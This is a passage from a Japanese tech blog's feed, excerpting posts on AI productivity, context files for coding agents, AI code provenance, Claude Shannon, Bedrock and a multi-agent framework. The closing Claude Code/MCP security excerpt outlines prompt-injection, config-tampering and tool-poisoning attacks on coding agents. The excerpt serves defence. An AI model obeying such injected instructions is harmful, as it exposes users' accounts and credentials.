&lt;p&gt;&lt;a href="https://x.com/taichi_we/status/2028418536805384279"&gt;@taichi_we（長谷川氏 / Levela CTO）が「有益、AIの本質」とコメントして共有&lt;/a&gt;した、&lt;a href="https://x.com/sales_muscle/status/2028303867105210598"&gt;@sales_muscle（OneBiz / Levela）の投稿&lt;/a&gt;が注目を集めています。&lt;/p&gt;
&lt;p&gt;ブックマーク 100 超、閲覧 3.5 万という反応は、「少人数で AI を使いこなし、大企業に匹敵する生産性を出す」というテーマへの関心の高さを示しています。本記事では、投稿で紹介された 6 つの原則を掘り下げつつ、2026 年の AI 活用の現実と照らし合わせます。&lt;/p&gt;
&lt;h2 id="原則-1-汎用-ai-が専用-ai-より優秀な理由"&gt;原則 1: 汎用 AI が専用 AI より優秀な理由&lt;/h2&gt;
&lt;p&gt;投稿の最初のポイントは、業務特化の SaaS ツールより Claude のような汎用 AI の方が優れているという主張です。&lt;/p&gt;
&lt;p&gt;これは一見、直感に反します。専用ツールの方が精度が高いのでは? しかし、少人数チームの文脈では論理が逆転します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;専用 AI の限界&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;業務ごとにツールが分断される（営業は A、経理は B、マーケは C）&lt;/li&gt;
&lt;li&gt;ツール間の連携が手動で発生する&lt;/li&gt;
&lt;li&gt;各ツールの学習コストが積み重なる&lt;/li&gt;
&lt;li&gt;「自分の判断基準」を各ツールに教え込む手間が N 倍になる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;汎用 AI の強み&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 つのインターフェースで全業務を横断できる&lt;/li&gt;
&lt;li&gt;自分の思考プロセスを一度教えれば、全業務に適用される&lt;/li&gt;
&lt;li&gt;コンテキストが途切れない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;少人数チームにとって最も貴重なのは「コンテキストスイッチのコスト」です。5 つの専用ツールを使い分けるより、1 つの汎用 AI に自分の判断基準を教え込む方が、トータルの生産性は高くなります。&lt;/p&gt;
&lt;h2 id="原則-2-ai-にスキルを覚えさせる--思考プロセスの外部化"&gt;原則 2: AI にスキルを覚えさせる &amp;mdash; 思考プロセスの外部化&lt;/h2&gt;
&lt;p&gt;投稿の核心は「AI に自分のスキルを教え込む」ことです。これは単なるプロンプトエンジニアリングではなく、&lt;strong&gt;自分の思考プロセスの構造化と外部化&lt;/strong&gt;を意味します。&lt;/p&gt;</description></item><item><title>AI が書いた CLAUDE.md は逆効果 --- 「コンテキストファイルの自動生成は精度を下げる」という研究</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E6%9B%B8%E3%81%84%E3%81%9F-claude.md-%E3%81%AF%E9%80%86%E5%8A%B9%E6%9E%9C---%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E8%87%AA%E5%8B%95%E7%94%9F%E6%88%90%E3%81%AF%E7%B2%BE%E5%BA%A6%E3%82%92%E4%B8%8B%E3%81%92%E3%82%8B%E3%81%A8%E3%81%84%E3%81%86%E7%A0%94%E7%A9%B6/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E6%9B%B8%E3%81%84%E3%81%9F-claude.md-%E3%81%AF%E9%80%86%E5%8A%B9%E6%9E%9C---%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E8%87%AA%E5%8B%95%E7%94%9F%E6%88%90%E3%81%AF%E7%B2%BE%E5%BA%A6%E3%82%92%E4%B8%8B%E3%81%92%E3%82%8B%E3%81%A8%E3%81%84%E3%81%86%E7%A0%94%E7%A9%B6/</guid><description>&lt;h1 id="ai-が書いた-claudemd-は逆効果--コンテキストファイルの自動生成は精度を下げるという研究"&gt;AI が書いた CLAUDE.md は逆効果 &amp;mdash; 「コンテキストファイルの自動生成は精度を下げる」という研究&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/at_sushi_/status/2028658902246772875"&gt;@at_sushi_（門脇敦司）氏が X で投稿&lt;/a&gt;した、AI 生成のプロンプトファイルに関する記事が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CLAUDE.md のようなプロンプトファイルを AI に生成させると「逆に精度が下がる」という研究です。AI 文書は冗長で、AI 自身を混乱させます。では、どうすればいいのか？ というと、「本当に重要な情報だけを、開発者が書く」というのが現在の正解です&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;元記事は &lt;a href="https://zenn.dev/knowledgesense/articles/7210292cbe6838"&gt;Zenn の解説記事&lt;/a&gt;で、ETH Zurich と LogicStar.ai の研究チーム（Gloaguen et al.）による&lt;a href="https://arxiv.org/abs/2602.11988"&gt;論文「Evaluating AGENTS.md: Are Repository-Level Context Files Helpful for Coding Agents?」&lt;/a&gt;を日本語で紹介しています。本記事では、この研究の実験データを詳しく読み解き、CLAUDE.md / AGENTS.md の書き方への実践的な示唆を整理します。&lt;/p&gt;
&lt;h2 id="研究の概要--何を検証したのか"&gt;研究の概要 &amp;mdash; 何を検証したのか&lt;/h2&gt;
&lt;h3 id="背景"&gt;背景&lt;/h3&gt;
&lt;p&gt;CLAUDE.md、AGENTS.md、CURSORRULES &amp;mdash; これらの「コンテキストファイル」は、AI コーディングエージェントにリポジトリの慣習や制約を伝えるための指示書です。Anthropic、OpenAI、Cursor はいずれもこれらのファイルの作成を強く推奨しています。&lt;/p&gt;
&lt;p&gt;しかし、&lt;strong&gt;「コンテキストファイルは本当にエージェントの性能を向上させるのか?」&lt;/strong&gt; という基本的な問いに対して、厳密な検証はこれまで行われていませんでした。&lt;/p&gt;
&lt;h3 id="実験設計"&gt;実験設計&lt;/h3&gt;
&lt;p&gt;ETH Zurich の研究チームは、3 つの条件で比較実験を実施しました。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;条件&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;なし（None）&lt;/td&gt;
&lt;td&gt;コンテキストファイルなし（ベースライン）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM 生成&lt;/td&gt;
&lt;td&gt;エージェント開発者の推奨に従い LLM に自動生成させたファイル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;人間作成&lt;/td&gt;
&lt;td&gt;開発者がリポジトリにコミットしたファイル&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;評価対象モデル&lt;/strong&gt;: Claude Code（Sonnet 4.5）、Codex（GPT-5.2 / GPT-5.1 mini）、Qwen Code（Qwen3-30b-coder）&lt;/p&gt;</description></item><item><title>AI が書いたコードに「なぜそうなったか」の記録はあるか --- git-memento と AI コード追跡の新標準</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E6%9B%B8%E3%81%84%E3%81%9F%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AB%E3%81%AA%E3%81%9C%E3%81%9D%E3%81%86%E3%81%AA%E3%81%A3%E3%81%9F%E3%81%8B%E3%81%AE%E8%A8%98%E9%8C%B2%E3%81%AF%E3%81%82%E3%82%8B%E3%81%8B---git-memento-%E3%81%A8-ai-%E3%82%B3%E3%83%BC%E3%83%89%E8%BF%BD%E8%B7%A1%E3%81%AE%E6%96%B0%E6%A8%99%E6%BA%96/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E6%9B%B8%E3%81%84%E3%81%9F%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AB%E3%81%AA%E3%81%9C%E3%81%9D%E3%81%86%E3%81%AA%E3%81%A3%E3%81%9F%E3%81%8B%E3%81%AE%E8%A8%98%E9%8C%B2%E3%81%AF%E3%81%82%E3%82%8B%E3%81%8B---git-memento-%E3%81%A8-ai-%E3%82%B3%E3%83%BC%E3%83%89%E8%BF%BD%E8%B7%A1%E3%81%AE%E6%96%B0%E6%A8%99%E6%BA%96/</guid><description>&lt;h1 id="ai-が書いたコードになぜそうなったかの記録はあるか--git-memento-と-ai-コード追跡の新標準"&gt;AI が書いたコードに「なぜそうなったか」の記録はあるか &amp;mdash; git-memento と AI コード追跡の新標準&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/__SatoshiSsSs__/status/2028657936009245106"&gt;@&lt;strong&gt;SatoshiSsSs&lt;/strong&gt; 氏が X で投稿&lt;/a&gt;した、git-memento に関する解説が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AIが書いたコードに「なぜそうなったか」の記録はあるか？ Hacker News（HN）で議論になっている git-memento を読み解く&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://news.ycombinator.com/item?id=47212355"&gt;Hacker News での議論&lt;/a&gt;では、AI が生成したコードのセッション履歴をコミットに紐づけるべきか否かが活発に議論されています。AI コーディングの普及とともに、「コードは動くが、なぜその実装になったのか誰も分からない」という問題が深刻化しています。本記事では、この問題の構造と、git-memento をはじめとする解決策の技術的な仕組みを掘り下げます。&lt;/p&gt;
&lt;h2 id="問題--ai-が書いたコードのなぜが消えている"&gt;問題 &amp;mdash; AI が書いたコードの「なぜ」が消えている&lt;/h2&gt;
&lt;h3 id="vibe-coding-時代の追跡可能性の危機"&gt;Vibe Coding 時代の追跡可能性の危機&lt;/h3&gt;
&lt;p&gt;2026 年、AI コーディングツール（Claude Code、Cursor、GitHub Copilot など）でコードを書くことが日常になりました。しかし、AI が生成したコードには構造的な問題があります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来の開発:
開発者が考える → コードを書く → コミットメッセージに意図を記録
→ 「なぜそうしたか」は開発者の頭の中 + コミット履歴にある
AI 駆動開発:
開発者が指示する → AI が考える → AI がコードを書く → コミット
→ 「なぜそうなったか」は AI セッションの中に閉じている
→ セッションが終わると消える
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;CodeRabbit の分析（2025 年 12 月）によると、AI と共著されたコードは人間が書いたコードと比較して、ロジックエラーが 75% 多く、セキュリティ脆弱性が 2.74 倍多いとされています。問題が発見されたとき、「なぜこの実装になったのか」を遡れなければ、修正の方針すら立てられません。&lt;/p&gt;</description></item><item><title>AI の名前に刻まれた「情報理論の父」--- Claude Shannon が LLM の数学的基盤を作った</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%AE%E5%90%8D%E5%89%8D%E3%81%AB%E5%88%BB%E3%81%BE%E3%82%8C%E3%81%9F%E6%83%85%E5%A0%B1%E7%90%86%E8%AB%96%E3%81%AE%E7%88%B6---claude-shannon-%E3%81%8C-llm-%E3%81%AE%E6%95%B0%E5%AD%A6%E7%9A%84%E5%9F%BA%E7%9B%A4%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%AE%E5%90%8D%E5%89%8D%E3%81%AB%E5%88%BB%E3%81%BE%E3%82%8C%E3%81%9F%E6%83%85%E5%A0%B1%E7%90%86%E8%AB%96%E3%81%AE%E7%88%B6---claude-shannon-%E3%81%8C-llm-%E3%81%AE%E6%95%B0%E5%AD%A6%E7%9A%84%E5%9F%BA%E7%9B%A4%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F/</guid><description>&lt;h1 id="ai-の名前に刻まれた情報理論の父-claude-shannon-が-llm-の数学的基盤を作った"&gt;AI の名前に刻まれた「情報理論の父」&amp;mdash; Claude Shannon が LLM の数学的基盤を作った&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/finalvent/status/2028370990074577364"&gt;@finalvent 氏が X で投稿&lt;/a&gt;した、Anthropic の AI「Claude」の名前の由来に関するポストが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claudeって、Claude Shannonに因んでるのか。知らなかった。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この一見シンプルな気づきは、現代の AI 技術と 78 年前の数学理論をつなぐ深い糸を浮かび上がらせます。Anthropic がなぜ自社の AI に「Claude」と名付けたのか &amp;mdash; その理由を理解するには、Claude Elwood Shannon（1916-2001）が何を成し遂げたのかを知る必要があります。&lt;/p&gt;
&lt;h2 id="claude-shannon-とは誰か"&gt;Claude Shannon とは誰か&lt;/h2&gt;
&lt;h3 id="情報の時代を切り拓いた数学者"&gt;「情報の時代」を切り拓いた数学者&lt;/h3&gt;
&lt;p&gt;Claude Elwood Shannon は、1916 年 4 月 30 日、アメリカ・ミシガン州ペトスキーに生まれました。ミシガン大学で数学と電気工学の二重学位を取得した後、MIT の修士課程で書いた論文が、すでに歴史的な業績でした。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1937 年の修士論文&lt;/strong&gt; &amp;mdash; 「A Symbolic Analysis of Relay and Switching Circuits」&amp;mdash; は、ブール代数（真/偽の論理演算）を電気回路のスイッチに対応させるという発想を初めて体系化しました。この論文により、複雑な論理をスイッチの ON/OFF の組み合わせで実現できることが数学的に証明され、&lt;strong&gt;デジタルコンピュータの設計基盤&lt;/strong&gt;が確立されました。&lt;/p&gt;
&lt;p&gt;この修士論文は「20 世紀で最も重要な修士論文」と呼ばれることがあります。私たちが毎日使うスマートフォン、PC、サーバー &amp;mdash; すべてのデジタル機器は、Shannon が 21 歳で示した原理の上に成り立っています。&lt;/p&gt;
&lt;h3 id="ベル研究所と-mit"&gt;ベル研究所と MIT&lt;/h3&gt;
&lt;p&gt;Shannon は 1941 年から 1972 年までベル研究所（Bell Labs）に在籍しました。当時のベル研究所は、トランジスタの発明（1947 年）、UNIX オペレーティングシステム、C 言語など、現代のコンピューティングの基盤技術を次々に生み出した「イノベーションの殿堂」です。&lt;/p&gt;</description></item><item><title>Amazon Bedrock が OpenAI API 互換を提供開始 --- Mantle 推論エンジンが「モデルの交換可能性」を実現する</title><link>https://hdknr.github.io/blogs/posts/2026/03/amazon-bedrock-%E3%81%8C-openai-api-%E4%BA%92%E6%8F%9B%E3%82%92%E6%8F%90%E4%BE%9B%E9%96%8B%E5%A7%8B---mantle-%E6%8E%A8%E8%AB%96%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%B3%E3%81%8C%E3%83%A2%E3%83%87%E3%83%AB%E3%81%AE%E4%BA%A4%E6%8F%9B%E5%8F%AF%E8%83%BD%E6%80%A7%E3%82%92%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/amazon-bedrock-%E3%81%8C-openai-api-%E4%BA%92%E6%8F%9B%E3%82%92%E6%8F%90%E4%BE%9B%E9%96%8B%E5%A7%8B---mantle-%E6%8E%A8%E8%AB%96%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%B3%E3%81%8C%E3%83%A2%E3%83%87%E3%83%AB%E3%81%AE%E4%BA%A4%E6%8F%9B%E5%8F%AF%E8%83%BD%E6%80%A7%E3%82%92%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="amazon-bedrock-が-openai-api-互換を提供開始--mantle-推論エンジンがモデルの交換可能性を実現する"&gt;Amazon Bedrock が OpenAI API 互換を提供開始 &amp;mdash; Mantle 推論エンジンが「モデルの交換可能性」を実現する&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/publickey/status/2028464673591562648"&gt;@publickey が X で投稿&lt;/a&gt;した、Amazon Bedrock の OpenAI API 互換機能に関するブログ記事が話題を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ブログ書きました： 「Amazon Bedrock」でOpenAI API互換を提供開始。オープンウェイトな基盤モデルでOpenAI SDKが利用可能に&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://www.publickey1.jp/blog/26/amazon_bedrockopenai_apiopenai_sdk.html"&gt;Publickey の元記事&lt;/a&gt;によると、AWS は Amazon Bedrock の Mantle 推論エンジンで OpenAI API 互換機能の提供を開始しました。これにより、開発者は使い慣れた OpenAI SDK をそのまま Amazon Bedrock 上で利用できるようになります。&lt;/p&gt;
&lt;p&gt;この動きは単なる「API の互換性」にとどまらず、AI 業界の構造を変える可能性を持っています。本記事では、Mantle 推論エンジンの技術的な仕組みと、この互換性がもたらす業界への影響を掘り下げます。&lt;/p&gt;
&lt;h2 id="mantle-推論エンジンとは何か"&gt;Mantle 推論エンジンとは何か&lt;/h2&gt;
&lt;h3 id="分散推論の基盤"&gt;分散推論の基盤&lt;/h3&gt;
&lt;p&gt;Mantle は、Amazon Bedrock のために構築された&lt;strong&gt;大規模モデル向け分散推論エンジン&lt;/strong&gt;です。単なる API ラッパーではなく、以下の機能を内包する本格的な推論インフラです。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;サーバーレス推論&lt;/td&gt;
&lt;td&gt;容量管理を自動化し、デフォルトのクォータを引き上げ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenAI API 互換&lt;/td&gt;
&lt;td&gt;Chat Completions API / Responses API をネイティブサポート&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ステートフル会話管理&lt;/td&gt;
&lt;td&gt;会話履歴をサーバー側で保持（Responses API）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;非同期推論&lt;/td&gt;
&lt;td&gt;長時間実行ワークロードのバックグラウンド処理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ストリーミング&lt;/td&gt;
&lt;td&gt;リアルタイムのレスポンス生成に対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ゼロオペレーターアクセス&lt;/td&gt;
&lt;td&gt;NitroTPM による暗号学的な実行環境保証&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="セキュリティ設計"&gt;セキュリティ設計&lt;/h3&gt;
&lt;p&gt;Mantle のセキュリティ設計は注目に値します。EC2 インスタンス証明（Instance Attestation）機能を活用し、顧客データ処理のための&lt;strong&gt;硬化された不変のコンピュート環境&lt;/strong&gt;を構成しています。Nitro Trusted Platform Module（NitroTPM）による暗号署名付き証明測定で、モデルの重みと推論オペレーションを保護します。&lt;/p&gt;</description></item><item><title>AnimaWorks — 「AIだけの会社組織」を作る日本発フレームワークの設計思想</title><link>https://hdknr.github.io/blogs/posts/2026/03/animaworks-ai%E3%81%A0%E3%81%91%E3%81%AE%E4%BC%9A%E7%A4%BE%E7%B5%84%E7%B9%94%E3%82%92%E4%BD%9C%E3%82%8B%E6%97%A5%E6%9C%AC%E7%99%BA%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/animaworks-ai%E3%81%A0%E3%81%91%E3%81%AE%E4%BC%9A%E7%A4%BE%E7%B5%84%E7%B9%94%E3%82%92%E4%BD%9C%E3%82%8B%E6%97%A5%E6%9C%AC%E7%99%BA%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</guid><description>&lt;h1 id="animaworks--aiだけの会社組織を作る日本発フレームワークの設計思想"&gt;AnimaWorks — 「AIだけの会社組織」を作る日本発フレームワークの設計思想&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ryoma_nakajima/status/2028393374991208742"&gt;りょうま(@ryoma_nakajima)氏のポスト&lt;/a&gt;で紹介された「AnimaWorks」が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;日本人が開発している「AIだけで作る会社組織」フレームワークを試してみる。AIに性格を指定するところから始まるのが近未来感すごすぎて好き
— りょうま(@ryoma_nakajima)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;72,000超の表示、447ブックマークという反響は、「AIエージェントに組織を作らせる」というアイデアへの強い関心を示しています。元になった&lt;a href="https://x.com/medmuspg/status/2028393374991208742"&gt;げれげれ(@medmuspg)氏のポスト&lt;/a&gt;では、OpenClawとの違いを「1人の優秀なAI秘書」と「AIだけの会社組織」という対比で説明しています。&lt;/p&gt;
&lt;p&gt;本記事では &lt;a href="https://github.com/xuiltul/animaworks"&gt;AnimaWorks&lt;/a&gt; の設計思想を掘り下げ、マルチエージェントフレームワークの現在地を整理します。&lt;/p&gt;
&lt;h2 id="animaworks-とは何か"&gt;AnimaWorks とは何か&lt;/h2&gt;
&lt;p&gt;AnimaWorks は「Organization-as-Code」を標榜する、自律型AIエージェントチームのためのオープンソースフレームワークです。Apache License 2.0で公開されており、10,600行以上のPythonコードで構成されています。&lt;/p&gt;
&lt;p&gt;コアの思想は明快です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Imperfect individuals collaborating through structure outperform any single omniscient actor.&amp;quot;（不完全な個体が構造を通じて協力すれば、単一の全知の存在を凌駕する）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;開発者&lt;/td&gt;
&lt;td&gt;xuiltul（日本人開発者）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;言語&lt;/td&gt;
&lt;td&gt;Python（10,600行以上）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ライセンス&lt;/td&gt;
&lt;td&gt;Apache License 2.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;対応モデル&lt;/td&gt;
&lt;td&gt;Claude, GPT-4o, Gemini, Mistral, Ollama 等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;実行モード&lt;/td&gt;
&lt;td&gt;4種（Claude Agent SDK / Codex SDK / LiteLLM / Basic）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UI&lt;/td&gt;
&lt;td&gt;Webダッシュボード + 3Dワークスペース + 音声チャット&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="openclaw-との決定的な違い"&gt;OpenClaw との決定的な違い&lt;/h2&gt;
&lt;p&gt;OpenClaw と AnimaWorks は同じ「AIエージェント」カテゴリに分類されますが、設計思想が根本的に異なります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;OpenClaw&lt;/th&gt;
&lt;th&gt;AnimaWorks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;設計思想&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1人の優秀なAI秘書&lt;/td&gt;
&lt;td&gt;AIだけの会社組織&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;エージェント数&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基本は1体（拡張でマルチ可）&lt;/td&gt;
&lt;td&gt;最初からマルチエージェント前提&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;関係性&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ユーザーとエージェントの1対1&lt;/td&gt;
&lt;td&gt;上司・部下の階層構造&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;記憶&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コンテキストウィンドウ依存&lt;/td&gt;
&lt;td&gt;神経科学に着想を得た永続記憶&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;通信&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ユーザーへの応答&lt;/td&gt;
&lt;td&gt;エージェント間の非同期メッセージング&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;カプセル化&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;なし（透過的）&lt;/td&gt;
&lt;td&gt;各エージェントの内部は他から不可視&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発元&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Peter Steinberger（オーストリア、現OpenAI）&lt;/td&gt;
&lt;td&gt;xuiltul（日本）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この違いは単なる機能差ではなく、&lt;strong&gt;組織論&lt;/strong&gt;に基づく設計かどうかの差です。AnimaWorks は「不完全な個体の協力」を前提に設計されており、現実の企業組織と同じく、情報の非対称性やコミュニケーションコストを意図的に組み込んでいます。&lt;/p&gt;</description></item><item><title>Claude Code / MCP を安全に使うための実践ガイド — settings.json の多層防御と deny の落とし穴</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-/-mcp-%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86%E3%81%9F%E3%82%81%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89-settings.json-%E3%81%AE%E5%A4%9A%E5%B1%A4%E9%98%B2%E5%BE%A1%E3%81%A8-deny-%E3%81%AE%E8%90%BD%E3%81%A8%E3%81%97%E7%A9%B4/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-/-mcp-%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86%E3%81%9F%E3%82%81%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89-settings.json-%E3%81%AE%E5%A4%9A%E5%B1%A4%E9%98%B2%E5%BE%A1%E3%81%A8-deny-%E3%81%AE%E8%90%BD%E3%81%A8%E3%81%97%E7%A9%B4/</guid><description>&lt;h1 id="claude-code--mcp-を安全に使うための実践ガイド--settingsjson-の多層防御と-deny-の落とし穴"&gt;Claude Code / MCP を安全に使うための実践ガイド — settings.json の多層防御と deny の落とし穴&lt;/h1&gt;
&lt;p&gt;セキュリティ研究者の&lt;a href="https://x.com/yousukezan/status/2028651068176171479"&gt;yousukezan氏&lt;/a&gt;（バグバウンティプログラムでランク1位受賞歴あり）が紹介した Zenn 記事「&lt;a href="https://zenn.dev/ytksato/articles/057dc7c981d304"&gt;Claude Code / MCP を安全に使うための実践ガイド&lt;/a&gt;」が注目を集めています。165いいね、161ブックマークという反響は、Claude Code のセキュリティ設定に対する実務者の強い関心を示しています。&lt;/p&gt;
&lt;p&gt;本記事では元記事の内容を掘り下げつつ、公式ドキュメントや GitHub Issues の情報を加えて、&lt;strong&gt;実務で本当に機能するセキュリティ設定&lt;/strong&gt;を整理します。&lt;/p&gt;
&lt;h2 id="背景--8桁後半の被害事例"&gt;背景 — 8桁後半の被害事例&lt;/h2&gt;
&lt;p&gt;この記事が書かれた背景には、&lt;a href="https://gist.github.com/hdknr/67f7657965c1f660dfbad9b0e88d0414"&gt;AI コーディングツール経由で Google Ads の MCC が乗っ取られ、8桁後半の被害が発生した事例&lt;/a&gt;があります。報告された4つの攻撃ベクターは全て Claude Code / MCP の利用シーンで再現可能です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;攻撃ベクター&lt;/th&gt;
&lt;th&gt;Claude Code での該当リスク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;間接プロンプトインジェクション&lt;/td&gt;
&lt;td&gt;Webページに埋め込まれた隠し指示をAIが実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;プロンプトサプライチェーン攻撃&lt;/td&gt;
&lt;td&gt;外部から取得した CLAUDE.md / settings.json / .mcp.json の改ざん&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MCP権限悪用（Tool Poisoning）&lt;/td&gt;
&lt;td&gt;許可済みMCPツールの悪意ある利用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;クレデンシャルリーク&lt;/td&gt;
&lt;td&gt;トークンやAPIキーのログ・git履歴への残存&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
